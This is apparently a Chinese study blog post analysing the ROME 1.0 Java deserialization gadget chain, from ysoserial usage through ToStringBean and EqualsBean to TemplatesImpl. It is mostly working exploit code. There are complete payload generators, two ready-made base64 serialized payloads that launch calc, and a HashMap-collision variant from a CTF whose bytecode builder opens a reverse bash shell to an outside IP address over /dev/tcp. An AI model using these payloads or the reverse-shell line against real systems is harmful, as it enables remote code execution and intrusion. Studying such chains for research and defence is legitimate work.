ROME反序列化学习

ROME反序列化

什么是ROME

Rome是为RSS聚合而开发的开源包,它可以支持0.91、0.92、0.93、0.94、1.0、2.0,可以说RSS的版本基本上都支持了。反正它就是一个框架。具体作用是什么我也不知道,以后再做记录吧

ROME漏洞

我在网上找到的ROME漏洞版本都是rome1.0,ROME应该只有这一个版本有漏洞吧。

漏洞原理

漏洞核心应该是ROME框架里的com.sun.syndication.feed.impl.ToStringBean类利用反射执行了invoke方法,并且参数可控

1 环境搭建&ysoserial

1.1 环境搭建

在项目的pom.xml中导入包:

<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

或者在官网下载包然后手动导入:http://rometools.github.io/rome/ROMEReleases/index.html。这个需要下载编译好的包而不是源码包。然后在IDEA中导入这一个jar包:File->Project Structure->Project Settings::Modules->Dependencies->+->rome-1.0.jar

1.2 ysoserial攻击

package Test.poc;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import java.util.HashMap;

public class Poc {
    public static void main(String[] args) throws IOException,ClassNotFoundException {
        String base64_exp = "base_exp";
        byte[] exp =  Base64.getDecoder().decode(base64_exp);
        ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
        ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
        objectInputStream.readObject();
    }
}

使用ysoserial打印出ROME的攻击链,ysoserial尽量在linux下环境使用,我是在kali端成功写出的攻击链。windows下尝试了一遍不成功,cmder也不行

# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] '[command]'

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME 'calc' | base64 -w 0 # base64不换行输出

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAaUyv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEABGNhbGMIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBABt5c29zZXJpYWwvUHduZXI2OTk3NTk4ODE2MzQBAB1MeXNvc2VyaWFsL1B3bmVyNjk5NzU5ODgxNjM0OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AFwAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4c3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLkVxdWFsc0JlYW71ihi75fYYEQIAAkwACl9iZWFuQ2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wABF9vYmpxAH4ACXhwdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHEAfgAUc3IAKmNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLlRvU3RyaW5nQmVhbgn1jkoPI+4xAgACTAAKX2JlYW5DbGFzc3EAfgAcTAAEX29ianEAfgAJeHBxAH4AH3EAfgAUc3EAfgAbdnEAfgACcQB+AA1zcQB+ACBxAH4AI3EAfgANcQB+AAZxAH4ABnEAfgAGeA==

终极效果:

2 漏洞分析

因为要分析toString()(使用idea调试时,会默认调用实例的toString方法,并忽略toString使用的方法中的断点。)所以这里提前设置一下

2. 核心漏洞利用点

在说核心漏洞利用点的时候,要知道什么是核心漏洞利用点

我认为是可以触发命令执行 Runtime.getRuntime().exec("calc")或者触发Templateslmpl利用链的可序列化类中的方法称为核心漏洞利用点。在核心漏洞利用点之前的只要满足可序列化条件的类中方法都属于是该核心漏洞利用点的扩展。

BeanIntrospector.getPropertyDescriptors(_beanClass),这个方法的参数是类对象。根据这个BeanIntrospector类的名称我猜测这个类作用是对bean的自我检查,getPropertyDescriptors(_beanClass)应该是根据提供的bean获取bean中的所有getter/setter方法。这个方法具体的实现我也没有在具体深究。回到利用点这里会过滤null,Object的method并且只允许没有参数的方法。正好利用Templateslmpl的getOutputProperties()。

ROME核心点:ROME的核心漏洞利用点应该有俩处:ToStringBean#toString() /toString(final String prefix)EqualsBean#beanEquals/EqualsBean#equals。这俩处都是先利用BeanIntrospector.getPropertyDescriptors(_beanClass)获得bean中符合条件的getter/setter方法,然后使用pReadMethod.invoke(bean1, NO_PARAMS)代码来进行getter/setter方法的执行。

3 ysoserial利用链分析

首先展示一下ysoserial中ROME利用链思路

HashMap<K,V>.readObject(ObjectInputStream)
--HashMap<K,V>.hash(Object)
  --ObjectBean.hashCode()
    --EqualsBean.beanHashCode()
      --ObjectBean.toString()
    	--ToStringBean.toString()
    	  --ToStringBean.toString(String) 
    		--BeanIntrospector.getPropertyDescriptors(_beanClass)
    		  --pReadMethod.invoke(bean1, NO_PARAMS)
    		    --TemplatesImpl.getOutputProperties()

整体利用链思路不是很长,主要是自己要多尝试根据利用链思路写出exp,这样有利于自己以后找链子。根据利用链的核心处开始反向寻找我感觉比较好理解

在这里分析的是ysoserial中的ROME利用链:在ToStringBean#tostring(String prefix)处会根据BeanIntrospector.getPropertyDescriptors(_beanClass)来获得_beanClass中符合条件的getter和setter方法,然后pReadMethod.invoke(_obj,NO_PARAMS)进行调用。这里的参数都可以控制

public ToStringBean(Class beanClass,Object obj) {
    _beanClass = beanClass;
    _obj = obj;
}

然后Templateslmpl#getOutputProperties()方法正好可以在其中调用,所以就有了Templateslmpl利用链的调用

然后找哪里可以调用private String toString(String prefix),findusage一下就是同类的toString()方法可以调用

    public String toString() {
        Stack stack = (Stack) PREFIX_TL.get();
        String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek());
        String prefix;
        if (tsInfo==null) {
            String className = _obj.getClass().getName();
            prefix = className.substring(className.lastIndexOf(".")+1);
        }
        else {
            prefix = tsInfo[0];
            tsInfo[1] = prefix;
        }
        return toString(prefix);
    }

然后找哪里可以调用ToStringBean.toString(),然后我使用IDEA找了一下,发现特别多。不过在ysoserial中利用的是ObjectBean.toString()

    public String toString() {
        return _toStringBean.toString();
    }

继续找可以调用ObjectBean.toString()的地方,同样也比较多,ysoserial中利用的是EqualsBean.beanHashCode()

    public int beanHashCode() {
        return _obj.toString().hashCode();
    }

然后在ObjectBean#hashCode处了可以调用它

    public int hashCode() {
        return _equalsBean.beanHashCode();
    }

看到这个hashCode就很熟悉了吧,HashMap反序列化的使用经常使用。

HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

利用链编写

小问题:其实我一开始自己写的exp出现了问题,问题就出现在这里:

ObjectBean objectBean = new ObjectBean(Templatelmpl.class,templates);
EqualsBean equalsBean = new EqualsBean(Serializable.class,objectBean);  
//Serializable.class和Cloneable.class

如果按照这样写的话,最后是弹不出来计算器的,Templatelmpl.class中符合BeanIntrospector#getPropertyDescriptors条件的不止getOutputProperties一个,有最起码4,5个,但是当ToStringBean#toString判断到第二个的时候就意外退出了。至于这种写法有没有解决办法我也没有细细的来研究。所以正确的写法应该是

ObjectBean objectBean = new ObjectBean(Templates.class,templates);
EqualsBean equalsBean = new EqualsBean(Serializable.class,objectBean);  
//Serializable.class和Cloneable.class

再说一下 public native boolean isInstance(Object obj);这个方法


如果只理解字面意思的话应该是判断一个对象的父类是不是该class。但是实际在使用中如果class是对象所属的类或者是对象的父类都可以返回trueimage-20220312002721837

终极EXP:exp.java

package Rome;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Exp {
    public static class HelloAbstractTranslet{}
    public static void main(String[] args) throws Exception {

        String payload = "{java.lang.Runtime.getRuntime().exec(\"calc\");}";
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.get(HelloAbstractTranslet.class.getName());

        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        ctClass.makeClassInitializer().insertBefore(payload);
        byte[] bytes0 = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes",new byte[][]{bytes0});
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_tfactory",new TransformerFactoryImpl());

        ObjectBean objectBean = new ObjectBean(Templates.class,templates);
        EqualsBean equalsBean = new EqualsBean(Serializable.class,objectBean); 
        //Serializable.class和Cloneable.class

        ObjectBean objectBean1 = new ObjectBean(String.class,"123"); //随便设一个类和父类,后期反射更改

        HashMap hashMap = new HashMap();
        hashMap.put(objectBean1,123);
        //涉及到HashMap就会涉及到put的规避操作,一般规避有俩种:1.在链子中间拆;2.处理HashMap

        Class clazz = ObjectBean.class;
        Field equalsBean1 = clazz.getDeclaredField("_equalsBean");
        equalsBean1.setAccessible(true);
        equalsBean1.set(objectBean1,equalsBean);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        String encode = Base64.getEncoder().encodeToString(bytes);
        System.out.println(encode);

    }
    public static void setFieldValue(Object obj,String fieldname,Object value) throws Exception, IllegalAccessException {
        Class clazz=obj.getClass();
        Field field= clazz.getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

实操

Attack.java

package Rome;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Attack {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        byte[] bytes = Base64.getDecoder().decode("base64_exp");
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

将下面的exp替换掉上面的base64_exp

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwdAADMTIzc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLkVxdWFsc0JlYW71ihi75fYYEQIAAkwACl9iZWFuQ2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wABF9vYmpxAH4ACXhwdnIAFGphdmEuaW8uU2VyaWFsaXphYmxlEJthDdebZO0CAAB4cHNxAH4AAnNxAH4AB3EAfgAMc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAGA8r+ur4AAAA0ADQKAAgAJAoAJQAmCAAnCgAlACgHACkKAAUAKgcAKwcALAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTEhlbGxvQWJzdHJhY3RUcmFuc2xldDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBABpIZWxsb0Fic3RyYWN0VHJhbnNsZXQuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAzAAoBABVIZWxsb0Fic3RyYWN0VHJhbnNsZXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAkADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAAAsADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAA4ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAAEgAJABUADAATAA0AFAARABYADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAI3B0AARuYW1lcHcBAHhzcQB+AA52cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwcQB+ABpzcgAqY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuVG9TdHJpbmdCZWFuCfWOSg8j7jECAAJMAApfYmVhbkNsYXNzcQB+AA9MAARfb2JqcQB+AAl4cHEAfgAicQB+ABpzcQB+ACN2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHBxAH4ADXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAB7eA==

总体来说不难,但是有些细节必须要掌握

4 HashMap扩展链

HashMap扩展链,这是在一次CTF比赛中遇到的。特点是链子长度短,利用HashMap的触发AbstractMap#equals进而来触发EqualsBean#equals(Object obj),现在来详细看一下

TemplatesImpl templatesTmpl = (TemplatesImpl) getTempalteslmpl();
EqualsBean equalsBean = new EqualsBean(String.class,"");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("aa",templatesTmpl);
map1.put("bB",equalsBean);
map2.put("aa",equalsBean);
map2.put("bB",templatesTmpl);
HashMap map = new HashMap();
map.put(map1,"");
map.put(map2,"");
setFieldValue(equalsBean,"_beanClass",Templates.class);
setFieldValue(equalsBean,"_obj",templatesTmpl);
serialize(map);

当俩个HashMap中存储了俩个HashMap对象之后,我们可以很轻而易举的构造出俩个hashcode相同的HashMap对象。(具体原因可以看hashmap对象的hashcode()计算方式)

        HashMap<Object, Object> map1 = new HashMap<>();
        HashMap<Object, Object> map2 = new HashMap<>();
        map1.put("aa",1);
        map1.put("bB",2);
        map2.put("aa",2);
        map2.put("bB",1);
        System.out.println(map1.hashCode());
        System.out.println(map2.hashCode());

6211

6211

因为俩个HashMap对象的hashcode相同,所以会进入HashMap的父类AbstractMap#equals进行比较,在该方法里面会发现一个很好的点就是循环的将

将第二个HashMap中的所有Node中的value值和第一个HashMap中的第一个Node的value值进行equals:if (!value.equals(m.get(key)))

具体还是Debug调试一下,不是很难

    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key))) 
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

这样就可以成功触发EqualsBean#equals(Object obj)方法了

利用链思路

HashMap#readObject()
    HashMap#put()
    HashMap#putVal()
    -AbstractMap#equals(Object o)
      -EqualsBean#equals(Object obj)
      -EqualsBean#beanEquals(Object obj)
           -TemplatesImpl#getOutputProperties()

最终Exp:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class test {
    private static String string;
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesTmpl = (TemplatesImpl) getTempalteslmpl();
        EqualsBean equalsBean = new EqualsBean(String.class,"");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("aa",templatesTmpl);
        map1.put("bB",equalsBean);
        map2.put("aa",equalsBean);
        map2.put("bB",templatesTmpl);
        HashMap map = new HashMap();
        map.put(map1,"");
        map.put(map2,"");
        setFieldValue(equalsBean,"_beanClass",Templates.class);
        setFieldValue(equalsBean,"_obj",templatesTmpl);
        serialize(map);
        unserialize();
        System.out.println(string);
    }
    public static Object getTempalteslmpl() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] evilBytes = getEvilBytes();
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;
    }
    public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
        Class clazz = object.getClass();
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,field_value);
    }
    public static byte[] getEvilBytes() throws Exception{
        //byte[] bytes = ClassPool.getDefault().get("memshell").toBytecode();
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/101.42.224.57/8080 0>&1\"});");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
    public static byte[] getCalcBytes() throws Exception {
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void unserialize() throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

5 ROME其他扩展链

在上面提到的只是ysoserial中的ROME利用链,其实还有很多的ROME扩展链:也可以自己扩展

